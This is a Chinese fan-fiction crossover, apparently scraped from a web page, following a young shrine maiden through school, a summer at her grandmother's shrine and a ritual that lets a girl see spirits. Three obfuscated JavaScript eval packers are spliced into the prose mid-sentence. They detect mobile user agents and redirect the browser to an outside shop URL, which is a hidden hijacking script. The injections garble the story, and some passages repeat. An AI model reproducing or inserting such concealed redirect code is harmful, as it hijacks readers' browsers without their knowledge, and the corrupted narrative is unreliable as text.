天台上的男孩最近在看一本从图书馆捡来的旧天文年鉴。那本年鉴是平成元年的,纸页已经泛黄,但星座图还很完整,封面上的银字已经磨得只剩下几个残笔。他每天对着年鉴上的星图在天台上画记号——用从教室窗台上捡来的白粉笔,在栅栏管内侧画了好几个星座的连线。最上面画的是猎户座,中间的连线歪歪扭扭但每颗星的位置都和年鉴上分毫不差;北斗七星的斗柄指向北极星,他特意用尺子靠在对角线上量了角度。最下面一行写着“暑假放完再回来看一次日出”,旁边还用小字标注了届时对应的日期和早潮时间。镜上去看他的时候,他正用袖口擦掉画歪的天蝎座尾巴——那条尾巴被他画成了猎犬座的弧度,他说天蝎座夏天看不到。镜说那就等冬天再看。他说冬天冷,可不可以把年鉴上的天蝎座剪下来贴在栏杆上。镜想了想,说反正年鉴也是捡的。 小樱最近收了一张新牌,叫“雾牌”。不是在学校发现的,是在放学回家的路上——小可感应到友枝町北边有棵榉树的树洞里有微弱魔力波动。小樱跑过去一看,一张从来没见过的库洛牌正把自己卷成一小团躲在树洞里,只露出一个角。它不动,不攻击,也不逃跑,看到她来了只是把那个角往里缩了一点点,像一片怕被风吹走的枯叶。虽然她习惯性将鸟头杖举到半空,但盯着那个怯怯卷起来的牌角看了很久,最后还是把杖放回身侧,蹲下来开始等。二十多分钟后,天色逐渐暗下去,那张牌才慢慢从树洞里飘出来,落在她摊开的手掌上。她叫它“雾牌”,因为她靠近树洞时周围的能见度很低,整条街都笼罩在白茫茫的雾气里。后来收服之后她才知道——只要能穿过那片雾找到它,它其实一直在等有人能把它从树洞里接出去,等了不知多少年。小可把嘴里的薯片吞下去,说小樱现在收服库洛牌的方式越来越像大道寺镜做地缚灵安抚,不是非得打到对方无力反抗才结束,现在的小樱学会了等。 小樱把雾牌小心地放进牌盒里,说:“因为它本来就不想打架,只是等得太久了。” 镜那天不在场。隔天早上她去银杏树下检查地脉波动,路过那棵榉树时刻意绕了一圈。树洞里还很安静,只在木质纹理间存着极淡的魔力残余,像夜里下过的小雨。这张牌和之前收服的任何一张都不同——封印发非常稳定,树洞周围的地脉完好无损,连树精都说那天晚上只听到一阵很轻的风声,比小樱收服前几张牌时安静得多。镜在笔记本上补了一笔——“收服方式有变化,魔力波及范围缩小。护校结界这周只需要常规维护就好。”写完这行字,她又往前翻了几页,看了看五月雪牌的记录页——那次收服之后全校跑道的霜冻花了快一整个下午才清完。相比起来,雾牌安静得像是打了个招呼就被接走了。 期末考试在三号教室,座位按学号排。数学应用题最后一道是分数加减,镜写完特意从头检查了一遍,确认没有漏单位。国文作文题目是《我最重要的东西》,她写了银杏树——没有提老奶奶,只写了树冠的形状、秋天叶子变黄的顺序、树下那道弧形的痕迹。交卷时监考老师看了一眼她的作文标题,说这个选材很特别。镜说那棵树从一年级起就在窗外,离她 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小樱咬着筷子,从臂弯里抬起一只眼睛看她,问:“你怎么知道我一个人也可以——你都不问问我为什么觉得一个人也可以。” “因为你从收服第一张库洛牌的时候就是一个人。”镜把便当盒盖好,语气和平时一样平淡,“后来多了一个人,不等于你变弱了。” 小樱没有回答,但她把脸从臂弯里抬起来,筷子在便当盒边缘停了好几拍才继续夹菜。 考完试那个下午,镜把整个学期善后清单从头到尾对了一遍。银杏树下老奶奶的缘线稳得像她四年级春天刚补时一样,在树干深处微微泛着淡金色的光泽,镜把手贴在树干上感觉那道灵痕的脉搏比去年更均匀,加固时几乎不需要再加新的灵力——结界的膜层已经自行稳住。树精把须根全部收回围墙缝隙里,和墙砖的接缝处连裂缝都看不出来了,它说新长出来的细须得定期修剪,让镜暑假走前把修剪指南贴一张在围墙上,回来时它会按指南自己理好根须——如果做不到,它会用须根敲围墙三下叫老奶奶给她写信。旧游泳池水獭在管壁青苔旁边特意留了一道细缝,那是给镜放防水结界的固定位置,她每次加固时手贴管壁的角度都一样,时间久了连水獭都记住了,会用鼻尖顶住那个位置让她不用找。广播室隔壁的小精灵们又孵了一窝新的,比它们上一代更小更圆,暂时还不会飞,窝在旧海绵垫的凹槽里,镜帮它们多加了一层隔音结界,免得广播室开学试音时又被震跑。天台上的男孩把月亮升起的时刻表刻在栅栏管内侧,最下面一行写着“暑假放完再回来看一次日出”,旁边还用小字标注了届时对应的日期和早潮时间。镜沿着楼梯往下走时在音乐教室停了片刻——琴盖关着,琴键上夹了一张钢琴少女用旧日历纸折的便条,纸角沾着一小粒松香粉末,大概是她坐在琴凳上折便条时蹭到的。上面只写了一行字:“暑假快乐。” 镜把那张便条夹进笔记本里,然后走出校门。操场上已经没人了,单杠的影子投在跑道上。七月马上就到。 回到家,环已经把行李清单贴在冰箱门上,用美术馆展览宣传页的背面写的。换洗衣服、防虫喷雾、外婆的茶叶和仙贝、外公的咖喱块,最后一行写着“镜自己收拾灵力用品,妈妈不碰”。镜把朱砂和空白纸签放进背包侧袋,又叠了几张备用的新纸人,用外婆去年在八原教她的叠法压好折痕码进布袋。 第二天早上,镜在玄关穿鞋时,环从厨房探出头说鞋柜上有镜的信。镜低头一看,白色信封,寄件人塔矢亮。 信封很薄,拆开里面只有一张棋谱和一页便签。棋谱附在信里,是亮最近在围棋会所受训的对局记录,旁边用红笔标了几处关键手。便签上的字迹一如既往地简练——他说最近在准备职业棋士考试,每天看院生排位赛的棋谱看到很晚,输赢各半。暑假如果镜来东京,可以去棋院找他下指导棋,还是一盘换一盘。信的末尾只有一句生日快乐,暑假来棋院下一盘。 镜看完把信折好放回信封里。胧从窗台上跳下来落在她脚边,尾巴扫过她的脚踝,说它想回八原看斑,顺便看他是不是又把李子藏在石灯笼底下,还有后山去年的那窝小精灵该褪第二层毛了。镜把行李箱拉链拉好,说暑假还没开始。胧说它只是先预登记一下。 窗外银杏树的叶子在六月的日光里轻轻晃着,树干上那道弧形灵痕在晨光里安静地明灭。暑假还没开始,但窗外银杏树上的知了已经在催了。四年级的第一个学期就这样走进了尾声。 12. 八元的夏天 七月的第一个星期六,镜坐上了去八原的新干线。 车厢里冷气开得很足,她把背包放在膝盖上,靠着窗看窗外的风景从高楼变成田野再变成山脊线。东京的灰白色天空在某个隧道出口之后忽然变成了大片开阔的蓝,水稻田在七月阳光下发亮,偶尔掠过一片竹林,远处的山脊线青得发蓝。她把目光收回来,翻了翻膝上的笔记本——这一页记得很杂,左上角列着暑假要补的结界清单,右下角写了两行从环那里听来的美术馆夏季特展注意事项,中间夹着一张知世上周塞给她的便签,上面用淡紫色墨水写着“暑假快乐,记得给我写信”。她把便签重新夹好,合上笔记本。 胧蹲在她旁边的座位上,全程保持毛绒玩具的形态,四肢僵硬地贴在身体两侧,尾巴僵在一个固定的弧度上,连耳朵尖都没动过。只有在新干线穿过隧道、车厢陷入短暂昏暗的那几秒里,它才飞快地甩一下尾巴,然后迅速重新定格。镜没有拆穿它。这只黑猫从她七岁起就跟着她坐新干线往返八原和东京,四年下来练出了一套堪称完美的装死技巧——连乘务员推着小推车经过时都不会多看一眼。 八原车站还是一如既往的小。站台上有且仅有一条长椅,油漆被太阳晒得起了皮。自动贩卖机里卖的是温的乌龙茶和冷的蜜柑果汁,出货口旁边贴着一张手写的停水通知,纸角被夏天的湿气浸得微微卷起来。镜拎着行李袋走下台阶,站台边那棵大樟树的叶子正被风吹得哗啦哗啦响,树影在石板地上铺了大半个站前广场。 夏目贵志站在树荫底下。他穿着浅蓝色的短袖衬衫,袖子卷到手肘,手里拎着一个旧布袋,里面装着刚从杂货店买的挂面和一小袋砂糖。阳光透过樟树叶落在他肩膀上,把他那头浅色的头发染成淡金色。他比镜寒假见面时又高了一些,肩膀也更宽了一点,但站姿还是那样——微微侧着身,重心落在左脚,好像随时准备给别人让路。 斑蹲在他脚边,用招财猫的形态,肚子上的白色绒毛蹭到了地上的野草,正低头舔自己的前爪。它听见镜的脚步声,把嘴里叼着的半颗李子核吐到路边,眯起眼睛看了看她,又看了看她肩头那只纹丝不动的黑猫。“你果然来了。胧那个家伙呢?还在装死?” 胧从镜的背包里探出头,耳朵先冒出来,毛茸茸的黑色三角耳转了转,然后整个猫从背包里跳下来,在站台上伸了个懒腰。前爪往前探,后腿蹬直,脊背拱成一个饱满的弧形,尾巴高高翘起,姿势标准得可以在猫科动物教科书上当插图。“你又胖了。每次来八原你都会比上次胖一圈。” “你先把酒气收一收。” “我没喝酒。” “你上次在神社厨房偷喝了一整杯供奉酒,你外婆追了你半个院子。” “那是去年。而且是米酒,度数很低,不算偷喝,是帮外婆试味道。试完之后忘了告诉她那是酒。” 两只猫一前一后沿着乡道往神社方向走,尾巴各自高高翘起,步伐不紧不慢,好像这条路已经被它们走了几百遍。斑走在前面,四只短爪子在石板路上踩出极轻的节奏,偶尔停下来用爪子拨一拨路边新冒出来的狗尾草。胧跟在后面,金色的瞳孔眯成两条细缝,尾巴尖微微弯着,姿态端庄得像在巡视自己的领地。 镜走在后面,夏目走在她左边,布袋换到了右手。他走路时微微侧着身,把靠树荫的那侧让给她,步伐放得比平时更慢,大概是从藤原阿姨那里学来的习惯——每次和比自己小的人一起走路,都会下意识地调整步幅。七月的太阳已经很毒了,乡道两侧的稻田在午后的风里翻着细浪,稻穗刚刚开始抽出来,绿油油的一片,空气里有晒干的稻草味和远处溪流的水腥味。 “考试还顺利吗?”夏目侧过头。 “还行。数学最后一道题没漏单位。” “那就好。”夏目弯起眼睛笑了一下,不是那种客气礼貌的笑容,是某种熟悉的、不需要别人回应的弧度,“我高中的期末考比你们晚一周,考完就去帮藤原阿姨搬米。她今年种了新的品种,说比去年那批更糯,让我给你留了一小袋,等你来的时候带回东京。她还说你上次帮她用灵力把后山那棵树洞的裂缝补上之后,那棵树今年长势比往年好很多,让她家的稻田多收了两袋米。” “那只是顺手。” “你每次说顺手,藤原阿姨都会念叨很久。她还说神社那位小巫女每次回来都长高一大截,就是不长肉,让她多做点团子带过来。所以今天早上出门前她往我背包里塞了一整盒红豆团子,说‘你把这个也带给镜,她太瘦了’。然后斑在路上把其中三个吃掉了。”夏目低头看了看斑,斑把头扭向另一侧,尾巴扫过他的脚踝,假装在看路边的野花。 镜没有接话,但她低头看了看自己手里那个还没拆封的糯米团子,嘴角弯了一点点弧度。 稻田尽头是一座小石桥,桥下那条溪流在夏天总是很浅,清澈的水面下能看到被冲刷得光滑的卵石。桥头那棵枫树的叶子还是绿色的,要等到秋天才会红。镜每次路过这棵树都会停下来看一眼——它在四季里换了几年颜色,她每一次来八原它都在同一个位置,只有季节在变。 神社的鸟居在午后的阳光里投下一道长长的红色影子,石板路从鸟居一直延伸到本殿,两侧的砂石地被外婆扫得干干净净,每一道扫帚纹都整整齐齐。老樟树的枝叶覆盖了大半个院子,把午后的阳光切割成细碎的光斑洒在走廊上。 安倍信子站在本殿前的走廊上,手里拿着一把旧扫帚,腰背挺得很直。她穿着一件深灰色的作务衣,头发梳成整齐的髻,满头白发在树荫下泛着银色的光泽。她看见镜从台阶上冒出头,先把扫帚靠在廊柱上,然后用那双看过无数妖怪和阴阳师的眼睛把镜从头扫到脚——灵力比过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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傍晚时分,镜搬了张矮凳在院子篱笆旁边帮外婆摘艾草。安倍信子蹲在旁边用手拨开艾草丛,哪些是今年新长的,哪些是去年的老草,用指尖点着讲给她听。新艾的叶背绒毛更短,颜色偏青白,药效更柔和,适合叠进防虫符内层;老艾叶背绒毛发灰,味道更烈,只能晒干泡茶,不能入符,否则符纸会皱。镜按外婆的指点把新艾和老艾分开放进不同的竹篮里,拔草时发现有几株叶片背后粘着极小的虫卵,外婆让她轻轻掰掉,别伤了叶脉。 晚饭过后,夏目帮安倍信子把碗筷收进厨房。镜靠在走廊柱子上把笔记本摊在膝头,把今天来八原的第一页记录写完——灵力控制比去年更稳,走路时脚下的灵气更沉了;外婆身体还好,新教的三层叠加符第二层灵力密度需要再调整;斑又胖了一圈,把路边的狗尾草当成逗猫棒;胧偷喝了供奉酒,说是帮外婆试味道。窗外蝉鸣在夜色里一阵一阵炸响,老樟树的叶子被晚风吹得沙沙响。八原的夏天才刚刚开始,她要在接下来几周里做完所有结界加固和灵体巡视。明天还要去后山帮那只爬不上树洞的树妖搬家,还要去石桥下面看看那只等了五天的河童。她把笔记本合上,关了台灯,胧在枕头上团成一个紧密的椭圆形,尾巴绕过来盖住鼻子。窗外的月亮还很细,弯弯地挂在山脊上方,明天应该是个晴天。 13. 后山 在八原的第二天,镜是被斑的叫声吵醒的。 不是那种被妖怪追着跑的惨叫,也和它跟胧吵架时那种你来我往的互相指控不一样。是一种更纯粹的、发自内心的愤慨——“你把最后一条烤鱼吃了!那是我的早饭!我昨天特意跟安倍奶奶说留给我今天早上吃,还特意埋在米饭底下做了记号,你凭什么把我的记号拨开偷吃!” 镜把格子门推开一条缝。胧正蹲在走廊上舔自己的前爪,姿态端庄得像神社门口的狛犬,连胡须翘起的弧度都恰到好处。它把前爪放下来,在走廊木板上轻轻按了按,说那不是偷吃,是帮厨房试味道。斑蹲在厨房门口的台阶上,尾巴竖得笔直,用一只爪子指着胧控诉道试味道为什么要把整条鱼试完,连鱼尾巴都没剩下。胧抬起眼皮看了斑一眼,语气平静得像在陈述天气,说那是因为鱼尾巴卡在盘子边缘,不吃完会浪费。 镜没参与这场关于烤鱼所有权的辩论。她绕到水龙头旁边洗了把脸,七月的山泉水凉得刚好,水流在掌心打了个旋又顺着指缝漏回水槽里。厨房里安倍信子正在切萝卜,菜刀落在砧板上的节奏均匀而沉稳,灶台上煮着味噌汤,热气把整个厨房蒸得暖融融的。走廊那头夏目已经到了,正坐在台阶上择豆角。他穿着深蓝色的短袖,袖子卷到手肘,膝头放着一小把刚择好的四季豆,动作不快但很仔细——每一根豆角的筋都从头撕到尾,没有断,没有漏,择好的豆角码在旁边的竹篮里,已经摞了小半篮。 “早。”镜在他旁边蹲下来,也拿起一把还没择的豆角。 “早。”夏目往旁边挪了挪,给她腾出更多位置,“昨晚睡得好吗?斑说半夜有只小妖怪在窗外偷看胧,被胧用尾巴敲了窗框。” “听到了。胧敲了两下,第一下是警告,第二下是让对方快走。” 早饭过后阳光还没爬到院子正中央,老樟树的影子还斜斜地铺在走廊上。夏目把择好的豆角端进厨房,出来时手里多了两个饭团——是安倍信子刚捏的,海苔还脆着。他把其中一个递给镜,说今天上午没有还名字的安排,想带她去后山转转。今年雨水多,溪流比往年更清,神社后山那片杉树林里最近搬来了几只小精灵,是去年那窝的后代,刚孵出来没多久,翅膀还没长全,绒毛是浅灰白色的,比去年那窝更小也更圆。 斑从走廊那头踱过来,说反正也没事做,可以顺便去教训一下那只把李子藏在石灯笼底下的河童。胧说人家藏李子关你什么事。斑说上次那只河童偷了我藏在树洞里的柿子,还拿走了我埋在树根旁边的小鱼干。胧说那是你自己忘了放在哪,后来不是下雨冲出来被你重新找到了吗。斑的耳朵抖了抖,说那也是它先偷走的,不然怎么会跑到石灯笼底下。两只猫还在斗嘴,夏目已经背好背包站在门口了。 神社后山的登山小径从鸟居侧面开始,穿过一片杉树林,沿着溪流往上走。夏天的杉树长得密密匝匝,树冠之间的缝隙只漏下几束细长的光柱,斜斜地打在石板路上,把青苔映成很亮的翠绿色。石阶上的青苔被晨露打湿了,踩上去有点滑,空气里有杉树针叶被太阳晒过之后散出来的松脂香,混着溪水撞击石头的哗哗声。夏目走在前面,步伐不快不慢,遇到陡坡会回头看一眼,确认镜跟上了再继续往上走。在每次拐弯之前他会放慢一步,抬手把伸到小径中间的树枝轻轻拨开,免得后面的人被扫到脸。 小精灵们住在溪流上游一棵老榉树的树洞里。树干要两个人张开手臂才能合抱,树皮上爬满了灰绿色的地衣,树冠遮住了大半条溪流。夏目走到树下停下来,仰头看了看树洞的方向,叫了一声。三只小东西从洞口探出头,绒毛是极淡的奶油色,翅膀还没长全,只能扑腾几下在树枝之间跳来跳去。它们看见夏目,叽叽喳喳地叫起来——不是害怕,是饿,是想告诉他树洞顶上有个缺口,上周下暴雨时漏了好多水进来,把铺在洞底的干树叶全泡湿了。 “它们说洞顶的树皮被雨水泡软了,加上前几天有只啄木鸟在附近敲了好几天,可能是把已经松动的那块树皮彻底震出了裂缝。”夏目把手贴在树干上,闭上眼睛。灵力从掌心涌出去,沿着树干纹理往上走,在树洞顶部找到那处缺口。他用灵力把缺口边缘抚平,让周围的树皮慢慢往缺口里收拢,直到整片树皮把漏水处完全封住。整个过程花了好几分钟,他睁开眼时手掌还在树干上贴了片刻,确认缺口已经补好了——没有喘,没有脸色发白。他把手收回来在裤子上蹭掉掌心的树皮屑,然后从口袋里掏出几颗干柿子放在树洞底下。小精灵们扑腾着翅膀从树枝上跳下来,挨个叼走一颗。 镜站在旁边看着他把干柿子一颗一颗放在树洞底下。他以前在神社后山做完这种事之后手掌会微微发抖,需要靠着树干休息一阵才能站起来。现在他能自己把灵力收回来,还能蹲下来给小精灵分柿子,手指平稳,呼吸均匀。她从口袋里掏出笔记本,在今天的日期旁边补了一行——灵力愈合速度比寒假更快,树洞封口后几秒内脉搏恢复正常。 从后山回来的路上,夏目在溪流拐弯处停下来,指给镜看今年新开的一片绣球花。蓝紫色的花球被溪水溅起的雾气打湿,花瓣边缘挂着极细的水珠,整丛开得很舒展,比去年沿溪石缝那几株要密得多。他说今年这些花开得比往年好,中游几丛已经被附近几个小妖怪捡去做花环,送给住在下游石头缝里的河童当生日礼物。他说这些话时语气很平常,不像以前提到妖怪时那样带着隐隐的担忧。镜听着,发现他描述妖怪的方式已经和以前完全不同—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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镜按照古札上的图示叠了一张。第一层顺利铺好,符纸在她指尖稳稳地压平,灵力沿着云龙纹路均匀铺开。第二层铺上去时灵力密度不太够,纸缘翘起一角。安倍信子用指尖点了点接缝处,说第一层灵力太厚,后面两层会被压得透不过气——不是叠得不好,是灵力输出习惯偏稳,需要在厚薄之间踩住那道界限。她把手收回去,没有示范,让镜自己再试一遍。镜重新拿起一张空白符纸,把灵力压得更薄了些铺好第一层,第二层顺着第一层的云龙边沟咬住全部接缝,第三层覆上去时她把灵力推到前面两层之间微微吸紧。这一次三层符纸同时泛起极淡的金色光晕,均匀地从符纸中心扩散到边缘,在空气中持续了片刻才慢慢隐退。 安倍信子看了看符纸,说要记住这个力道——以后给别人布结界时会用到。镜把这张叠好的三层符夹进古札里,朱砂还没干透,边缘泛着新鲜的血红色。 傍晚时分,斑和胧在走廊上各自趴着,尾巴垂下来扫着石板缝里长出的小草。斑把今天从溪流边上捡来的一块彩纹石子推到胧面前,说这块送给你,上次你把最后一条烤鱼留给我了。胧低头看了看那块石子,用尾巴把它拨回来,说那不是留给你,是你抢到的。斑说那也是你故意放慢了爪子。微风吹过老樟树的叶子,把夕阳余晖摇成一片碎金,洒在斑和胧之间那颗被推来推去的石子上。镜靠在廊柱上,把笔记本摊在膝头,在暑假第二天的记录末尾加了一行——灵力场波动持续平稳,没有异常。窗外蝉鸣在暮色里一阵一阵炸响,夏目已经下山回去了,外婆在厨房里洗最后一个盘子。八原的夏天在安静的晚风里沉入安稳的夜,离她去东京还有好几天。 14. 开眼 多轨透是在神社门口蹲守了整整四十分钟之后才被斑发现的。她蹲在鸟居旁边的石灯笼后面,手里捏着一片从山下集市买的薄荷叶,膝盖上放着一小袋金平糖。裙子膝盖上蹭了一片青苔,额角被蚊子咬了个小包,但她好像完全没注意到,只是把薄荷叶在手指间翻来覆去地折,折成一个小方块,又展开,又折成三角形,又展开。从她蹲守的位置能看到鸟居前的台阶和走廊转角,但石灯笼旁边刚好是蝉声最密集的位置,能把脚底传来的脚步声盖过去。她选的位置很细心,只是薄荷叶有点蔫了,边缘已经发软卷曲,是拿在手里太久又沾了手汗的缘故。 斑以招财猫形态从走廊那边踱过来,尾巴翘得高高的,绕到她面前打了个哈欠,说你是来找夏目的还是找那只黑猫的,夏目还没到今天轮到他帮藤原阿姨搬米,胧在后院晒太阳。 多轨用气声说她来找大道寺镜。 斑的耳朵转了转,朝本殿方向喊了一嗓子,说神社那个小巫女有人找。镜从走廊上探出头,手里还拿着半张刚叠好的符纸。她看见多轨从石灯笼后面站起来,裙子膝盖上沾了一小片青苔,腿上还有被蚊子咬的几个小红点,手里的薄荷叶已经捏得不成形了。多轨把金平糖往前一递,小声说这是昨天在集市说好的礼物——给胧的,也给镜。镜接过金平糖,看了她一眼,发现多轨的眼睛还是亮晶晶的,但和昨天在集市上看到胧时不太一样。不是那种被毛茸茸的东西击中的兴奋,是某种更深的、已经在心里翻来覆去想过很久的不安,像一只在树洞外徘徊了很久却不敢敲门的小动物。 镜让她进来说。 多轨坐在本殿侧间的坐垫上,两只手握着茶杯,指节微微发白。她抿了一口茶,把杯子放回矮几上,手指没有离开杯沿。她没有急着说话,而是先从随身带的布袋里取出一本旧笔记放在膝头。笔记封面是深蓝色的布纹纸,边角用细麻线重新装订过,书脊上烫金的字已经磨得只剩下几个残笔。她说这是祖父留下的笔记,里面记录了祖父一辈子见过的一切——见过的妖怪、画过的阵法、和夏目玲子喝过一次酒,还有一页专门写了一个叫“开眼”的术式。 她翻到某一页,手指点在页面边缘。那页纸上用淡墨画了一道符,旁边密密麻麻注满了小字,有些地方被橡皮擦过重新标注,有些地方墨水褪色后又用铅笔重新描了一遍。她说这个术式不是显形阵——显形阵只能让妖怪暂时显形,是给没有灵力的人用的。开眼不需要阵,但需要一个灵力足够强的人用自己的灵力推过视觉通道的最后一层膜。能画这个阵的人很多,能完成开眼的人很少。她以前也请高中宿舍同班的女生试过,只能维持几息就散干净了。祖父在笔记里写“非血脉相通者不可强求”,她试了好几年都找不到那个“血脉相通”的人。 “直到昨天我在集市看到胧。”多轨把笔记合上放在膝头,双手交叠按在封面上,“你看它的眼神和夏目看妖怪的眼神完全一样。不是显形阵,你天生就能看见。八原这一带灵力最强的人是神社的安倍奶奶,她之前帮夏目赶走过的场家的式神,但她一向不喜欢别人打扰她修行。听斑说你们这学期还要去东京处理事情。我就想——在你去东京之前,能不能先帮我这个忙。” “你什么时候开始感知到妖怪的。”镜问。 “记事起就能感觉到周围有什么东西在动,不是看见,是感觉到温度变化、风向不对、空气里有某种说不上来的气味。小时候以为是自己太敏感,后来祖父告诉我那是灵力感应的本能。我家祖上是阴阳师,每一代都会出一个有灵力的人,但到我这一代只能感应,不能看见。祖父说这叫‘半开’,通道没有完全打通。”多轨把茶杯端起来又放下,声音比刚才轻了几分,“我画了这么多年阵,从来不知道我画的那些线条在妖怪眼里是什么样子。也不知道胧的毛在阳光下会不会有其他颜色。以前每次看到胧在鸟居上甩尾巴,我都想把那个画面画下来,但我能画出来的都只是显形阵里的轮廓。” “你想看胧想了多久。”镜忽然开口。 多轨愣了一下,然后耳朵尖慢慢红起来。“以前我在神社附近偷偷看过好几次,每次都是远远的。它蹲在鸟居上,尾巴垂下来扫柱子上的青苔。我知道它大概是很厉害的神兽老猫,但从来不敢走过去摸它。昨天是实在忍不住了——不对,其实是忍不住很多次了,只是昨天终于有了一个好借口。我给你买金平糖的时候就跟自己说:如果她收下就说明有戏,如果不收我就再买一袋明天来。”她把茶杯放在膝头,双手往膝盖上一放,整个人坐得很直,像是在做某种庄重的保证,“如果可以的话——我想亲眼看看它。不是隔着显形阵看到轮廓,是我自己的眼睛。” “你给胧买了很多金平糖。” “它上次在神社后山赶走过一只想偷我祖父笔记的妖怪,我想谢谢它。” 镜没有继续追问糖的事。她低头看了看自己胸口那面魂缘之镜——镜面是淡金色的,边缘微微泛着温热的光。她把镜子从领口里取出来握在手心,在心里叫了一声桔梗大人。多轨的灵力在体内游走,速度正常,但走到视觉通道的最后一段就自动收束,像是被一层极薄的透明膜盖住了。膜本身不强,但它一直在那里,已经裹了十几年。桔梗告诉镜:几百年前她遇到过类似的巫女,这不是破封,是帮她自己推开那层膜——推过去之后能看到多少、能承受多少,取决于她自己的灵力根基。镜把这段话转述给多轨,多轨用力点头,把坐垫往前挪了一步,双手叠在镜的掌心正上方,指尖朝镜稳稳地压着。 镜把魂缘之镜放在两人手掌之间,让镜面朝上。走廊上胧不知什么时候踱回来,蹲在门框旁边,金色瞳孔静静看着这一切,尾巴绕过来盖住前爪。斑蹲在胧旁边,耳朵微微往前倾,难得没有开口说话。镜闭上眼睛,把灵力从掌心推出去,在多轨体内随着她的呼吸节奏往前走——她走得很慢,每到一个堵塞处都停了片刻,像用掌心轻轻贴住水面,确认不会弄皱多轨体内那条脆弱而纤细的通道。 然后她把那层膜缓缓推开,指尖触到的触感和她记忆中四年级帮夏目补缘线时极像——薄、轻、仿佛被风吹得太久却始终没有撕裂的旧幕。膜裂开一道极细的缝,光从缝隙另一端透过来,落在多轨闭着的眼皮上。镜收回灵力时手指微凉,掌心有层薄汗。多轨睁开眼睛,瞳孔的颜色在变——从深褐转成浅棕,然后又慢慢恢复。 胧正蹲在门框旁边,尾巴绕过来盖住前爪,正歪头舔爪背。多轨看着那只黑猫,嘴唇微微张开,抬手捂住嘴,眼眶里有什么东西晃了晃,然后眼泪毫无预兆地掉下来。 “它的毛真的是纯黑的,尾巴上有三根特别长的毛,耳朵尖有小小一簇金色的绒毛——比我在显形阵里看到的清楚好几百倍。好像是把眼罩摘下来了。”她把纸巾盒从茶几上拿过来放在膝头,摘下眼罩,“祖父的笔记上说妖怪有灵光——原来灵光是这样的。胧的灵光是淡金色的,和你镜子的光差不多颜色。斑的灵光比胧更暖一点,带一点点橘色的底光,和你之前在神社教夏目疏灵时用的那种灵力层很像。还有刚才路上那只河童——我终于看到它左爪为什么少一根指甲了,是因为它在溪流里刨石头刨断的,指甲根部有个很小的旧伤痕。祖父的笔记上画过它的轮廓,但没画过它刨石头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536089|203812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的姿势。” 斑从走廊那边踱过来,用招财猫的形态蹲在门框旁边,和胧并排坐着。胧把尾巴往斑那边偏了一下,让多轨凑近它耳尖时不会碰到门框。斑转过头用尾巴扫了扫胧的脊背,说以后她也能看到妖怪了,你以后不能在神社外面自己遛自己了,会被人追着喊小猫咪。 “那个人一开始也是喊你小猫咪。” “那不一样。我是真的小猫咪。你是装的。”斑把尾巴收回来,又把石子往胧那边推了半寸,“她摸你耳朵的时候你没躲,我看到了。你没躲。” 胧没有回答,但它把尾巴从多轨手边移开的速度比平时慢了那么一点。 多轨终于放下纸巾盒,看了看斑,又看了看镜,忽然破涕为笑。“等一下——你才小学四年级对不对?我刚才一直在对一个小学女生说‘拜托你了’、‘求求你帮我开眼’,还差点哭出来。我应该叫你镜妹妹才对,但我又觉得你做事好成熟,比我们班好几个高中男生都稳重。比如上次夏木被妖怪缠住,我在笔记里找解法的时候,你已经在旁边把结界铺好了。还有去年冬天的一次,斑喝醉了在神社厨房偷酒喝,你一边用符纸把酒气封住一边教夏目怎么遮挡酒壶口,那个手法比祖父笔记上画的封酒符还要快。” “那我就叫你透姐姐好了,你直接叫我镜子。你比我大,我叫你姐姐刚好。我认识的比我大的人我都叫哥哥或者贵志哥。多轨比我大不少,叫姐姐刚好。”镜把魂缘之镜重新挂回脖子上,语气平淡得像在说今天食堂的菜单。 多轨透愣了一下,然后弯起眼睛,很认真地、郑重地叫了一声:“镜子。谢谢你。” 她把祖父的笔记翻到最后一页,将其中一页画着互授阵的纸页小心地取下来,说这一页送给她——以后如果需要帮忙,只要在这张阵上放一点灵力,无论多远她都能感觉到。镜接过那张纸,低头看了看,纸上用淡墨画成的互授阵,中间两道灵脉以五芒星交叠,边角有极细的朱砂注释。她把这张互惠灵阵抚平收进口袋,说谢谢透姐姐。多轨摇摇头说不用谢,然后在胧面前蹲下来,把一小包金平糖轻轻放在它的前爪边,说这是见面礼——不对,是“终于能看见你了”礼。 胧低头看了看金平糖,又抬头看了看多轨。“可以收。不是每天都有糖。以后你在神社外面看到我,不用再蹲在石灯笼后面偷看了,可以直接过来摸耳朵。但不要跟斑说我允许了——他只是嘴上说,其实很喜欢。” 多轨已经站起来朝外走了,走到鸟居下时又回头挥挥手,辫子在肩头晃了半圈。她的眼睛和来时一样亮,只是现在她能看到——石灯笼旁边蹲着的那只式神、树根上挂着的细藤、旧寺墙壁上慢慢移动的光点。所有这些在她画了多年阵法的轮廓里,终于被填上了颜色。镜站在走廊上目送她下山,胧蹲在她脚边用尾巴扫了扫她的脚踝。 “你刚才说了‘贵志哥’。你叫他贵志哥的时候眼神里一点犹豫都没有,和刚才说‘透姐姐’是同一种语气。都是那种明明可以直呼名字但偏要加个称谓的语气。” 镜低头看了看胧。“我第一次叫你的时候,你在神社后院蹲在鸟居下面,说的第一句话是‘长得真慢’。” “那也是叫了。”胧说。 